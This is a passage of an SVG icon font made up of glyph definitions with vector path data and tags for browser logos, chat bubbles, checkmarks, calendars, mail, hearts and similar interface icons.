<glyph unicode="&#xe1bd;" d="M 112.997,188.638 L 48.889,299.676 C 89.934,351.067 153.116,384 224,384 C 306.002,384 377.698,339.928 416.733,274.187 L 233.958,274.187 C 230.675,274.472 227.356,274.625 224,274.625 C 170.68,274.625 125.747,238.031 112.997,188.638 ZM 304.196,241.812 L 432.585,241.812 C 442.534,216.468 448,188.873 448,160 C 448,37.139 349.081-62.602 226.544-63.968 L 318.154,94.704 C 331.051,113.244 338.625,135.753 338.625,160 C 338.625,192.012 325.428,220.996 304.196,241.812 ZM 142.625,160 C 142.625,204.87 179.13,241.375 224,241.375 C 268.87,241.375 305.375,204.87 305.375,160 C 305.375,115.13 268.87,78.625 224,78.625 C 179.13,78.625 142.625,115.13 142.625,160 ZM 254.705,49.557 L 190.577-61.515 C 82.719-45.378 0,47.648 0,160 C 0,199.908 10.449,237.37 28.742,269.823 L 120.193,111.424 C 138.51,72.438 178.151,45.375 224,45.375 C 234.631,45.375 244.928,46.836 254.705,49.557 Z" data-tags="chrome, browser, internet" />
<glyph unicode="&#xe1be;" d="M 447.355,237.814l-5.189-33.285c0,0-7.417,61.624-16.508,84.662c-13.933,35.301-20.131,35.018-20.172,34.966
	c 9.332-23.714, 7.64-36.454, 7.64-36.454s-16.534,45.062-60.249,59.398c-48.425,15.873-74.624,11.534-77.651,10.713
	c-0.459,0.004-0.903,0.004-1.326,0.004c 0.358-0.027, 0.705-0.064, 1.061-0.093c-0.015-0.009-0.039-0.018-0.036-0.023
	c 0.197-0.24, 53.509-9.32, 62.963-22.311c0,0-22.645,0-45.181-6.493c-1.018-0.291, 82.917-10.484, 100.076-94.357
	c0,0-9.201,19.196-20.58,22.456c 7.484-22.766, 5.562-65.965-1.565-87.434c-0.917-2.762-1.855,11.936-15.894,18.266
	c 4.497-32.22-0.27-83.325-22.622-97.401c-1.742-1.095, 14.013,50.448, 3.168,30.521c-62.435-95.726-136.239-44.175-169.421-21.486
	c 17.004-3.702, 49.286,0.577, 63.575,11.205c 0.018,0.013, 0.034,0.025, 0.052,0.038c 15.517,10.61, 24.707,18.359, 32.959,16.525
	c 8.257-1.844, 13.754,6.443, 7.341,13.794c-6.421,7.367-22.012,17.49-43.104,11.973c-14.875-3.896-33.309-20.353-61.446-3.689
	c-21.597,12.797-23.63,23.426-23.822,30.79c 0.533,2.61, 1.205,5.047, 2.002,7.273c 2.486,6.943, 10.024,9.038, 14.216,10.692
	c 7.112-1.221, 13.24-3.44, 19.674-6.74c 0.083,2.141, 0.11,4.983-0.008,8.208c 0.617,1.226, 0.235,4.923-0.753,9.441
	c-0.57,4.51-1.496,9.176-2.954,13.428c 0.005,0.001, 0.009,0.004, 0.013,0.006c 0.025,0.008, 0.047,0.018, 0.068,0.031
	c 0.034,0.019, 0.064,0.049, 0.091,0.083c 0.005,0.009, 0.013,0.015, 0.019,0.023c 0.036,0.054, 0.067,0.119, 0.087,0.204
	c 0.446,2.020, 5.26,5.917, 11.252,10.106c 5.369,3.754, 11.682,7.742, 16.655,10.829c 4.401,2.734, 7.752,4.761, 8.464,5.293
	c 0.27,0.204, 0.594,0.443, 0.947,0.716c 0.066,0.051, 0.131,0.102, 0.199,0.155c 0.041,0.032, 0.083,0.065, 0.125,0.099
	c 2.367,1.885, 5.899,5.446, 6.64,12.94c 0.002,0.018, 0.004,0.035, 0.005,0.053c 0.022,0.221, 0.040,0.444, 0.057,0.671
	c 0.012,0.158, 0.022,0.318, 0.032,0.48c 0.006,0.124, 0.014,0.248, 0.019,0.374c 0.013,0.295, 0.022,0.597, 0.026,0.903
	c0,0.018, 0.001,0.033, 0.002,0.051c 0.010,0.725-0.003,1.481-0.045,2.276c-0.024,0.444-0.055,0.844-0.13,1.208
	c-0.004,0.019-0.008,0.040-0.012,0.060c-0.008,0.036-0.016,0.072-0.025,0.107c-0.016,0.064-0.033,0.128-0.053,0.188
	c-0.003,0.008-0.004,0.014-0.007,0.020c-0.023,0.070-0.049,0.137-0.076,0.203c-0.002,0.003-0.002,0.004-0.003,0.007
	c-0.767,1.797-3.64,2.475-15.506,2.677c-0.011,0.001-0.022,0.001-0.033,0.001l0,0c-4.841,0.082-11.173,0.085-19.47,0.052
	c-14.547-0.059-22.587,14.22-25.154,19.745c 3.517,19.451, 13.683,33.312, 30.384,42.711c 0.316,0.178, 0.254,0.325-0.12,0.428
	c 3.266,1.975-39.483,0.054-59.144-24.953c-17.451,4.337-32.661,4.045-45.77,0.969c-2.517,0.071-5.654,0.385-9.377,1.16
	c-8.717,7.9-21.196,22.488-21.864,39.904c0,0-0.040-0.032-0.11-0.089c-0.009,0.167-0.025,0.333-0.032,0.5
	c0,0-26.563-20.416-22.587-76.073c-0.010-0.891-0.028-1.744-0.052-2.57c-7.189-9.751-10.756-17.946-11.021-19.756
	C 11.723,241.219, 5.26,221.702,0,192.072c0,0, 3.678,11.666, 11.062,24.879c-5.43-16.635-9.697-42.506-7.191-81.312
	c0,0, 0.662,8.604, 3.007,20.997c 1.831-24.067, 9.852-53.779, 30.125-88.72c 38.915-67.078, 98.731-100.949, 164.846-106.145
	c 11.741-0.968, 23.647-0.99, 35.623-0.081c 1.101,0.078, 2.202,0.159, 3.303,0.251c 13.547,0.951, 27.184,2.998, 40.792,6.285
	C 467.581,13.201, 447.355,237.814, 447.355,237.814z" data-tags="firefox, browser, internet" />
<glyph unicode="&#xe1bf;" d="M 321.213,108.887l 103.272,0 c 0.796,7.162, 1.115,14.48, 1.115,21.961c0,35.098-9.421,68.017-25.867,96.366
	c 17.010,45.197, 16.403,83.557-6.368,106.483c-21.655,21.56-79.752,18.060-145.43-11.024c-4.858,0.367-9.764,0.556-14.717,0.556
	c-90.146,0-165.78-62.035-186.685-145.622C 74.813,213.812, 104.563,240.062, 144.305,259.179c-3.614-3.386-24.699-24.348-28.245-27.897
	C 11.258,126.51-21.792-10.352, 13.77-45.92c 27.031-27.026, 76.019-22.462, 132.289,5.096
	c 26.165-13.325, 55.781-20.838, 87.158-20.838c 84.496,0, 156.102,54.388, 182.039,130.133L 311.189,68.471 
	c-14.321-26.417-42.327-44.398-74.47-44.398c-32.142,0-60.149,17.98-74.47,44.398c-6.366,11.932-10.025,25.617-10.025,40.1l0,0.316 
	L 321.213,108.887 z M 152.382,159.648c 2.387,42.486, 37.712,76.38, 80.835,76.38c 43.123,0, 78.449-33.894, 80.835-76.38L 152.382,159.648 z M 392.423,312.334
	c 14.668-14.823, 14.301-42.094, 1.755-76.135c-21.497,32.772-52.727,58.597-89.597,73.343
	C 344.003,326.446, 376.072,328.685, 392.423,312.334z M 40.898-39.174c-18.717,18.723-13.074,58.020, 11.038,105.364
	c 15.010-42.118, 44.256-77.477, 81.96-100.255C 92.145-53.017, 57.974-56.235, 40.898-39.174z" data-tags="IE, browser, internet explorer" />
<glyph unicode="&#xe1c0;" d="M 223.145,384C 100.766,384, 12.818,295.233, 12.818,162.090C 12.818,43.607, 98.35-64, 223.161-64
	c 126.034,0, 212.021,107.575, 212.021,226.089C 435.182,296.297, 344.424,384, 223.145,384z M 301.157,165.888
	c-0.030-74.091-3.98-179.586-77.996-179.586l0-0.015 c-72.968,0-75.876,105.554-75.876,179.51c0,86.791, 8.12,169.998, 75.876,169.998
	C 290.918,335.795, 301.157,251.54, 301.157,165.888z" data-tags="opera, browser, internet" />
<glyph unicode="&#xe1c1;" d="M 224,356c-10.528,0-20.872-0.784-30.985-2.28c-0.131,0.342-0.273,0.677-0.43,1.004c 5.611,4.376, 8.553,10.426, 7.277,16.429
		C 198.229,378.837, 190.065,384, 179.547,384c-2.266,0-4.575-0.246-6.86-0.731c-13.198-2.806-21.939-12.522-19.898-22.121
		c 1.24-5.835, 6.253-10.21, 13.197-11.98c-0.014-0.425-0.007-0.853, 0.018-1.284C 78.232,322.714, 14,241.861, 14,146
		c0-115.98, 94.020-210, 210-210c 115.98,0, 210,94.020, 210,210C 434,261.98, 339.98,356, 224,356z M 159.636,362.603
		c-1.184,5.568, 5.46,11.896, 14.507,13.818C 175.95,376.805, 177.769,377, 179.547,377c 7.016,0, 12.554-3.003, 13.468-7.302
		c 0.698-3.286-1.343-6.829-4.981-9.583c-3.077,2.173-7.007,3.118-10.981,2.273c-3.957-0.841-7.152-3.285-9.082-6.5
		C 163.516,356.961, 160.311,359.426, 159.636,362.603z M 336.606,33.394c-19.236-19.236-42.529-32.934-67.948-40.317l-18.548,30.086
		l-4.701-34.982C 238.369-12.761, 231.222-13.25, 224-13.25c-42.537,0-82.528,16.566-112.606,46.644
		c-19.236,19.235-32.934,42.529-40.317,67.947l 30.086,18.549l-34.982,4.701C 65.239,131.631, 64.75,138.778, 64.75,146
		c0,42.537, 16.565,82.528, 46.644,112.606c 19.236,19.236, 42.53,32.934, 67.948,40.318l 18.548-30.087l 4.702,34.982
		C 209.631,304.761, 216.778,305.25, 224,305.25c 42.537,0, 82.528-16.565, 112.606-46.644c 19.236-19.236, 32.934-42.53, 40.317-67.948
		l-30.087-18.549l 34.982-4.701C 382.761,160.369, 383.25,153.222, 383.25,146C 383.25,103.463, 366.684,63.472, 336.606,33.394zM 332.895,254.895l-86.178-65.496c-6.407,3.35-13.508,5.277-20.744,5.568l-22.348,46.891l-1.342-51.916
		c-5.812-2.859-10.983-6.853-15.258-11.791l-27.601,9.784l 20.165-21.235c-2.771-5.914-4.316-12.263-4.565-18.735l-46.882-22.341
		l 51.948-1.342c 0.166-0.336, 0.339-0.668, 0.512-0.998l-65.496-86.179l 86.178,65.496c 6.407-3.349, 13.507-5.276, 20.744-5.567l 22.348-46.892
		l 1.341,51.916c 5.813,2.86, 10.984,6.853, 15.259,11.792l 27.602-9.786l-20.166,21.236c 2.772,5.915, 4.317,12.263, 4.566,18.735
		l 46.881,22.341l-51.947,1.343c-0.165,0.335-0.339,0.667-0.512,0.997L 332.895,254.895z M 224.045,189.516l0-1.508 L 224.045,189.516 
		L 224.045,189.516z M 215.268,187.082c 2.943,0.626, 5.882,0.927, 8.774,0.927c 1.813,0, 3.609-0.118, 5.379-0.348l 0.040-0.014
		l-0.004,0.010c 3.82-0.5, 7.514-1.531, 10.995-3.017l-31.301-23.79l-23.791-31.304c-1.039,2.447-1.868,5.024-2.441,7.723
		C 178.095,159.957, 192.579,182.259, 215.268,187.082z M 245.928,110.176L 245.928,110.176L 245.928,110.176
		c-3.962-2.425-8.392-4.237-13.195-5.258c-2.943-0.626-5.882-0.927-8.774-0.927c-1.816,0-3.613,0.119-5.385,0.349l-0.034,0.013
		l 0.004-0.009c-3.821,0.5-7.514,1.531-10.995,3.016l 31.3,23.79l 23.791,31.305c 1.039-2.447, 1.868-5.025, 2.441-7.724
		C 268.884,136.846, 260.683,119.207, 245.928,110.176z" data-tags="safari, browser, internet" />
<glyph unicode="&#xe1c2;" d="M 113.55,160.001A51.82,51.82 12780 1 0 217.191,160.001A51.82,51.82 12780 1 0 113.55,160.001zM 224.002,384C 100.288,384,0,283.711,0,160s 100.286-224, 224.002-224C 347.711-64, 448,36.288, 448,160
		C 448,283.711, 347.712,384, 224.002,384z M 165.986-35.686C 98.63,3.503, 53.343,76.456, 53.343,160
		c0,83.544, 45.287,156.497, 112.64,195.686C 233.362,316.502, 278.679,243.56, 278.679,160C 278.679,76.443, 233.362,3.498, 165.986-35.686z" data-tags="IcoMoon" />
<glyph unicode="&#xe1c5;" d="M 335.944,216L 335.944,272 C 335.944,349.322, 280,384, 224,384L 111.944,384 C 56,384,0,354.25,0,272c0-80.5, 56-112, 111.944-112l 13.020,0 
	C 117.152,144.838, 112.154,126.82, 112,104.952l0-58.044 C 112.588-14.426, 162.512-64, 224-64c0,30.954, 25.102,56, 56,56l 55.944,0 C 392-8, 448,23.5, 448,104
	C 448,186.25, 392,216, 335.944,216z M 111.944,216C 56,216, 56,258.168, 56,272c0,16.786,0,56, 55.944,56L 224,328 c 20.944,0, 56-7.28, 56-56l0-56 
	c0-18.298-8.806-34.594-22.526-44.814C 237.020,198.388, 204.526,216, 168,216L 111.944,216 z M 335.944,48L 280,48 c-36.582,0-69.132-17.612-89.572-44.786
	C 176.806,13.434, 168,29.73, 168,48l0,56 c0,25.62, 12.74,41.174, 25.424,49.168C 211.372,143.816, 224,125.602, 224,104c 41.384,0, 77.084,22.68, 96.516,56.028
	L 335.944,160C 392,160, 392,120.758, 392,104C 392,90.14, 392,48, 335.944,48z" data-tags="chat, talk, comments" />
<glyph unicode="&#xe1c6;" d="M 363.678,213.018c-0.378-19.418-4.704-37.73-12.362-54.446C 391.678,151.852, 392,118.98, 392,104
				c0-13.888,0-56-55.944-56L 280,48 c-36.47,0-69.132-17.612-89.572-44.842C 176.862,13.434, 168,29.73, 168,48l0,56 c0,11.046, 1.974,19.796, 5.026,26.992
				C 171.388,131.286, 169.75,132, 168,132L 114.842,132 c-1.806-8.666-2.786-17.934-2.786-28l0-56 c0-61.852, 50.092-112, 111.944-112c0,30.954, 25.046,56, 56,56l 56.056,0 
				C 392-8, 448,23.5, 448,104C 448,172.502, 409.066,204.24, 363.678,213.018zM 224,328c 20.888,0, 56-7.28, 56-56l0-56 c0-18.326-8.862-34.594-22.428-44.814C 237.132,198.36, 204.526,216, 168,216L 112.056,216 
			C 56,216, 56,258.14, 56,272c0,16.73,0,56, 56.056,56L 224,328  M 224,384L 112.056,384 C 56,384,0,354.25,0,272c0-80.5, 56-112, 112.056-112L 168,160 c 30.954,0, 56-25.102, 56-56
			c 61.852,0, 112.056,50.148, 112.056,112L 336.056,272 C 336.056,349.294, 280,384, 224,384L 224,384z" data-tags="chat-alt-stroke, talk, comments" />
<glyph unicode="&#xe1c7;" d="M 224,104c 61.852,0, 111.944,50.148, 111.944,112L 335.944,272 C 335.944,349.294, 280,384, 224,384L 111.944,384 C 56,384,0,354.25,0,272c0-80.5, 56-112, 111.944-112L 168,160 
		C 198.898,160, 224,134.898, 224,104zM 363.72,213.018C 362.082,137.25, 300.132,76, 224,76l-28,0 l0,28 c0,15.456-12.572,28-28,28L 114.786,132 
		C 113.106,123.642, 112.070,114.696, 112,105.036l0-58.114 C 112.588-14.426, 162.512-64, 224-64c0,30.954, 25.102,56, 56,56l 55.944,0 C 392-8, 448,23.5, 448,104
		C 448,172.502, 409.010,204.24, 363.72,213.018z" data-tags="chat-alt-fill, talk, comments" />
<glyph unicode="&#xe1c8;" d="M 224.028,272C 379.036,272, 392,214.194, 392,160c0-18.816-4.97-39.27-10.444-56l-185.5,0 c-65.842,0-94.332-2.73-126-24.612
			c-13.132,35.98-21.546,84.658-5.306,123.76C 83.664,248.816, 137.256,272, 224.028,272 M 224.028,328C-89.166,328, 0.154,48, 56.084-8c 56,56, 56,56, 139.944,56l 223.090,0 
			c0,0, 28.882,56, 28.882,112C 448,300, 336.042,328, 224.028,328L 224.028,328z" data-tags="comment-alt1-stroke, chat, talk" />
<glyph unicode="&#xe1c9;" d="M 419.132,48c0,0, 28.882,56, 28.882,112C 448,300, 336.042,328, 224.028,328C-89.166,328, 0.154,48, 56.084-8c 56,56, 56,56, 139.944,56
				L 419.132,48 z" data-tags="comment-alt1-fill, chat, talk" />
<glyph unicode="&#xe1ca;" d="M 280,300c 61.796,0, 112-50.204, 112-112s-50.204-112-112-112l-112,0 c-36.526,0-69.076-17.612-89.53-44.842C 64.862,41.434, 56,57.73, 56,76
		L 56,216 c0,46.326, 37.73,84, 84,84L 280,300  M 280,356L 140,356 C 62.678,356,0,293.322,0,216l0-140 c0-61.852, 50.204-112, 112-112c0,30.954, 25.102,56, 56,56l 112,0 c 92.806,0, 168,75.25, 168,168
		S 372.806,356, 280,356L 280,356z" data-tags="comment-stroke, chat, talk" />
<glyph unicode="&#xe1cb;" d="M0,76c0-61.852, 50.204-112, 112-112c0,30.954, 25.102,56, 56,56l 112,0 c 92.806,0, 168,75.25, 168,168S 372.806,356, 280,356L 140,356 
			C 62.678,356,0,293.322,0,216L0,76 z" data-tags="comment-fill, chat, talk" />
<glyph unicode="&#xe1cc;" d="M 196,384C 87.78,384,0,296.22,0,188c0-53.648, 21.658-102.158, 56.602-137.592L 56.924-64l 92.918,62.076
	C 164.724-5.592, 180.026-8, 196-8c 108.22,0, 196,87.78, 196,196C 392,296.22, 304.22,384, 196,384z M 196,48c-9.898,0-20.622,1.47-32.76,4.424l-23.842,5.908
	l-26.852-17.78l 0.168,32.704l-16.24,16.464C 70.378,116.194, 56,151.082, 56,188C 56,265.224, 118.776,328, 196,328c 77.224,0, 140-62.776, 140-140
	C 336,110.776, 273.224,48, 196,48z" horiz-adv-x="392" data-tags="comment-alt2-stroke, chat, talk" />
<glyph unicode="&#xe1cd;" d="M 196,384C 87.78,384,0,296.22,0,188c0-53.648, 21.658-102.158, 56.602-137.592L 56-64l 93.842,62.076
			C 164.724-5.592, 180.026-8, 196-8c 108.22,0, 196,87.78, 196,196S 304.22,384, 196,384z" horiz-adv-x="392" data-tags="comment-alt2-fill, chat, talk" />
<glyph unicode="&#xe1ce;" d="M 84,216L0,132L 168-36L 448,244L 364,328L 168,132 z" data-tags="checkmark, tick" />
<glyph unicode="&#xe1cf;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 189.28,56.638
		L 86.212,159.72l 39.592,39.592l 63.462-63.49l 134.638,134.638l 39.592-39.592L 189.28,56.638z" data-tags="check-alt, checkmark, tick" />
<glyph unicode="&#xe1d0;" d="M 420,42.428L 302.316,160L 420,277.572L 341.572,356L 224,238.372L 106.372,356L 28,277.572L 145.572,160L 28,42.428L 106.372-36L 224,81.628L 341.572-36 		z" data-tags="x, cancel, close" />
<glyph unicode="&#xe1d1;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 334.796,88.796
		l-39.592-39.592L 224,120.408l-71.204-71.204l-39.592,39.592L 184.408,160l-71.204,71.204l 39.592,39.592L 224,199.592l 71.204,71.204l 39.592-39.592
		L 263.592,160L 334.796,88.796z" data-tags="x-altx-alt, cancel, close" />
<glyph unicode="&#xe1d2;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 224,328
		c 36.26,0, 69.622-11.816, 97.076-31.388L 87.332,62.98C 67.76,90.434, 56,123.796, 56,160C 56,252.638, 131.362,328, 224,328z M 224-8
		c-36.26,0-69.622,11.816-97.076,31.388L 360.668,257.020C 380.24,229.566, 392,196.204, 392,160C 392,67.362, 316.638-8, 224-8z" data-tags="denied, blocked" />
<glyph unicode="&#xe1d3;" d="M 448-8L 252,188L 336,272L0,384L 112,48.056L 196,132.056L 392-64 	z" data-tags="cursor, pointer" />
<glyph unicode="&#xe1d4;" d="M0-8A56,56 1620 1 1 112-8A56,56 1620 1 1 0-8zM 84,384l0-56 c 170.072,0, 308-137.914, 308-308l 56,0 C 448,221.012, 284.998,384, 84,384zM 84.322,271.888C 84.21,271.888, 84.112,271.874, 84,271.874l0-56 c 0.112,0, 0.21,0.014, 0.322,0.014
		c 108.206,0, 195.944-87.71, 196-195.888l 56,0 C 336.266,159.118, 223.454,271.888, 84.322,271.888zM 84.322,159.888c-0.112,0-0.21-0.014-0.322-0.014l0-56 c 0.112,0, 0.21,0.014, 0.322,0.014
		c 46.354,0, 83.944-37.562, 84-83.888l 56,0 C 224.266,97.266, 161.602,159.888, 84.322,159.888z" data-tags="rss, feed, broadcast" />
<glyph unicode="&#xe1d5;" d="M 448-64l-63.98,0 C 384.020,147.75, 211.75,319.992,0,319.992L0,384 C 246.974,384, 448,183.030, 448-64L 448-64zM 319.97-64l-63.98,0 c0,141.148-114.898,255.99-255.99,255.99L0,255.998 C 176.428,255.998, 319.97,112.428, 319.97-64
			L 319.97-64zM 192.010-64L 127.974-64 c0,70.602-57.372,127.974-127.974,127.974l0,64.036 C 105.868,128.010, 192.010,41.868, 192.010-64
			L 192.010-64zM 63.98-64c0,35.322-28.602,63.98-63.98,63.98L0-64 L 63.98-64 z" data-tags="rss-alt, feed, broadcast" />
<glyph unicode="&#xe1d6;" d="M 442.498,304.998l-70.322-70.322l-73.5,0 L 298.676,309.324 l 69.454,69.426C 357.854,381.844, 347.242,384, 335.972,384
		C 274.148,384, 224,333.824, 224,272c0-17.248, 4.214-33.39, 11.214-48.020L 10.934-0.23C 4.214-7.020,0-16.316,0-26.704C0-47.27, 16.674-64, 37.352-64
		c 10.332,0, 19.684,4.158, 26.362,10.934l 224.322,224.252C 302.61,164.242, 318.794,160, 335.972,160c 61.908,0, 112,50.176, 112,112
		C 447.972,283.564, 445.788,294.498, 442.498,304.998z" horiz-adv-x="447.125" data-tags="wrench, tool, settings" />
<glyph unicode="&#xe1d7;" d="M 168.908,160A56.303,56.303 1620 1 1 281.513,160A56.303,56.303 1620 1 1 168.908,160zM 401.93,299.631c-4.842-3.983-10.726-6.644-17.482-6.644c-15.511,0-28.151,12.611-28.151,28.306
			c0,6.841, 2.745,12.935, 6.813,17.918c-31.234,24.21-69.055,40.51-110.297,45.676C 251.377,370.614, 239.835,359.34, 225.21,359.34
			s-26.336,11.401-27.603,25.871C 155.817,379.791, 117.771,363.196, 86.27,338.113c 3.575-4.757, 6.109-10.388, 6.109-16.806c0-15.694-12.541-28.306-28.151-28.306
			c-6.263,0-11.88,2.435-16.553,5.982C 18.256,260.726,0,213.304,0,161.21c0-125.034, 100.838-226.421, 225.21-226.421s 225.21,101.387, 225.21,226.421
			C 450.421,213.797, 431.953,261.429, 401.93,299.631z M 225.21,48.606c-62.186,0-112.606,50.419-112.606,112.606c0,31.121, 12.597,59.217, 32.994,79.612L 225.21,320.435l 79.499-79.499
			C 325.176,220.539, 337.816,192.332, 337.816,161.21C 337.816,98.968, 287.396,48.606, 225.21,48.606z" horiz-adv-x="449.75" data-tags="dial" />
<glyph unicode="&#xe1d8;" d="M 448,132.434l0,56 l-66.934,27.888c-1.862,5.25-3.822,10.332-6.23,15.316l 27.020,67.27L 362.25,338.5
		l-66.668-27.454c-5.082,2.464-10.276,4.536-15.638,6.454L 251.566,384l-56,0 l-27.678-66.276c-5.572-1.974-10.934-4.046-16.24-6.566l-66.556,26.74
		L 45.5,298.306l 27.132-65.954C 70,226.934, 67.872,221.418, 65.842,215.72L0,187.566l0-56 l 65.898-27.454c 2.030-5.684, 4.214-11.214, 6.832-16.632
		l-26.628-66.388l 39.592-39.592l 66.122,27.23c 5.306-2.52, 10.724-4.536, 16.296-6.454L 196.434-64l 56,0 l 27.72,66.612
		c 5.306,1.974, 10.556,4.046, 15.582,6.454l 67.158-26.908l 39.592,39.592l-27.566,66.822c 2.352,5.026, 4.27,10.122, 6.132,15.316L 448,132.434z
		 M 223.566,76c-46.368,0-84,37.632-84,84s 37.632,84, 84,84s 84-37.632, 84-84S 269.934,76, 223.566,76z" data-tags="cog, gear, settings, options, generate" />
<glyph unicode="&#xe1d9;" d="M 336,328L 336,384L 280,384L 280,328L 168,328L 168,384L 112,384L 112,328L0,328L0,272L 448,272L 448,328 	zM 56,104L 392,104L 392,48L 56,48zM 56,216L 392,216L 392,160L 56,160zM 56-64L 336-64L 392-8L 56-8 	z" data-tags="calendar, date" />
<glyph unicode="&#xe1da;" d="M 448-64L0-64L0,328L 56,328L 56-8L 392-8L 392,328L 448,328 		zM 84,216L 140,216L 140,160L 84,160zM 196,216L 252,216L 252,160L 196,160zM 308,216L 364,216L 364,160L 308,160zM 84,104L 140,104L 140,48L 84,48zM 196,104L 252,104L 252,48L 196,48zM 308,48L 308,104L 364,104 		zM 112,300L 112,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 112,284.53, 112,300zM 280,300L 280,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 280,284.53, 280,300z" data-tags="calendar-alt-stroke, date" />
<glyph unicode="&#xe1db;" d="M 364,328l0-28.658 c0-30.954-25.046-56-56-56s-56,25.046-56,56L 252,328 l-56,0 l0-28.658 c0-30.954-25.046-56-56-56s-56,25.046-56,56L 84,328 L0,328 l0-392 l 448,0 L 448,328 
			L 364,328 z M 140-8L 84-8 l0,56 l 56,0 L 140-8 z M 140,104L 84,104 l0,56 l 56,0 L 140,104 z M 252-8l-56,0 l0,56 l 56,0 L 252-8 z M 252,104l-56,0 l0,56 l 56,0 L 252,104 z M 308-8l0,56 l 56,0 L 308-8z M 364,104l-56,0 l0,56 l 56,0 L 364,104 zM 112,300L 112,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 112,284.53, 112,300zM 280,300L 280,356 c0,15.47, 12.53,28, 28,28s 28-12.53, 28-28l0-56 c0-15.47-12.53-28-28-28S 280,284.53, 280,300z" data-tags="calendar-alt-fill, date" />
<glyph unicode="&#xe1dc;" d="M 391.972,48c-13.566,0-25.592-5.474-35.322-13.51l-85.344,60.928C 276.724,106.576, 280,118.826, 280,132
		c0,18.102-5.908,34.832-15.638,48.51l 99.834,99.918C 372.498,275.556, 381.696,272, 391.972,272c 30.954,0, 56,25.046, 56,56s-25.046,56-56,56s-56-25.046-56-56
		c0-10.332, 3.612-19.474, 8.428-27.776l-99.834-99.918C 230.776,210.148, 214.158,216, 196,216c-32.046,0-59.612-18.214-73.78-44.674l-67.424,22.526
		C 52.066,206.424, 41.398,216, 28,216c-15.47,0-28-12.53-28-28s 12.53-28, 28-28c 7.056,0, 13.342,2.842, 18.27,7.168l 67.046-22.372
		C 112.658,140.582, 112,136.368, 112,132c0-46.368, 37.632-84, 84-84c 23.072,0, 44.030,9.352, 59.22,24.444l 84.798-60.536
		c-2.408-6.23-4.046-12.852-4.046-19.908c0-30.898, 25.046-56, 56-56s 56,25.102, 56,56S 422.926,48, 391.972,48z" horiz-adv-x="447.125" data-tags="share" />
<glyph unicode="&#xe1dd;" d="M 223.944,167.602L 448,273.148L 448,328L0,328L0,273.316 		zM 224.056,105.694L0,211.52L0-8L 448-8L 448,211.184 		z" data-tags="mail, contact, email" />
<glyph unicode="&#xe1de;" d="M 323.582,300c 34.398,0, 62.888-25.48, 67.704-58.632L 224.056,49.316L 56.714,241.368C 61.53,274.52, 90.020,300, 124.418,300
			c 28.224,0, 53.97-30.296, 53.97-30.296L 224,221.25l 45.612,48.454C 269.612,269.704, 295.372,300, 323.582,300 M 323.582,356
			c-41.776,0-77-22.092-99.582-53.816C 201.418,333.908, 166.194,356, 124.418,356C 55.776,356,0,300.112,0,231.526l0-10.276 L 224.112-36L 448,221.25l0,10.276 
			C 448,300.112, 392.224,356, 323.582,356L 323.582,356z" data-tags="heart-stroke, love, like, favorite" />
<glyph unicode="&#xe1df;" d="M 224,302.184C 201.418,333.908, 166.194,356, 124.418,356C 55.776,356,0,300.112,0,231.526l0-10.276 L 224.112-36L 448,221.25l0,10.276 
				C 448,300.112, 392.224,356, 323.582,356C 281.806,356, 246.582,333.908, 224,302.184z" data-tags="heart-fill, love, like, favorite" />
<glyph unicode="&#xe1e0;" d="M 391.678,272l-55.286,0 L 392,327.776L 337.036,384l-77.924,0 l 55.832-55.776L 257.74,272l-66.122,0 l 56.826,55.776L 192.276,384L 113.092,384 
		l 55.776-55.776L 111.678,272L 55.566,272 l 56.868,55.776L 56.224,384L0,384 l0-448 l 448,0 L 448,384 l-54.908,0 L 448,328L 391.678,272z M 392-8L 56-8 l0,56 l 336,0 L 392-8 z M 392,104L 56,104 l0,56 l 336,0 L 392,104 z" data-tags="movie, video" />
<glyph unicode="&#xe1e1;" d="M 196,384L0,384 l0-448 l 336,0 L 336,244.028 L 196,384z M 56-8L 56,328 l 112,0 l0-112 l 112,0 l0-224 L 56-8 z" horiz-adv-x="336" data-tags="document-alt-stroke, file" />
<glyph unicode="&#xe1e2;" d="M 196,384L0,384 l0-448 l 336,0 L 336,244.028 L 196,384z M 166.852,216L 166.852,328 l 112-112L 166.852,216 z" horiz-adv-x="336" data-tags="document-alt-fill, file" />
<glyph unicode="&#xe1e3;" d="M 308.224,384L0,384 l0-447.132 l 112.714,92.092L 224.98-64l 112.168,92.862L 448-63.776L 448,244 L 308.224,384z M 392.28,48.868
		l-55.342,45.178l-111.944-92.638l-111.72,92.526l-57.204-45.066c0,0,0,243.026,0,280c 29.428,0, 109.326,0, 168.112,0l0-168 L 392.28,160.868 
		C 392.28,122.648, 392.28,48.868, 392.28,48.868z M 280.224,216.868c0,21.602,0,82.796,0,112c 22.638-22.638, 89.628-89.572, 112.056-112
		C 363.622,216.868, 301.98,216.868, 280.224,216.868z" data-tags="document-stroke, file" />
<glyph unicode="&#xe1e4;" d="M 302.526,384L0,384 l0-448 l 111.678,92.974L 223.888-64l 112.056,92.862L 448-64L 448,239.786 L 302.526,384z M 252,188L 252,328 l 140-140L 252,188 z" data-tags="document-fill, file" />
<glyph unicode="&#xe1e5;" d="M 448,216L 280,216L 280,384L 168,384L 168,216L0,216L0,104L 168,104L 168-64L 280-64L 280,104L 448,104 	z" data-tags="plus, add" />
<glyph unicode="&#xe1e6;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 336,132l-84,0 l0-84 l-56,0 l0,84 L 112,132 l0,56 l 84,0 
		L 196,272 l 56,0 l0-84 l 84,0 L 336,132 z" data-tags="plus-alt, add" />
<glyph unicode="&#xe1e7;" d="M0,216L 448,216L 448,104L0,104z" data-tags="minus, remove, delete" />
<glyph unicode="&#xe1e8;" d="M 224,384C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384z M 336,132L 112,132 l0,56 l 224,0 L 336,132 z" data-tags="minus-alt, remove, delete" />
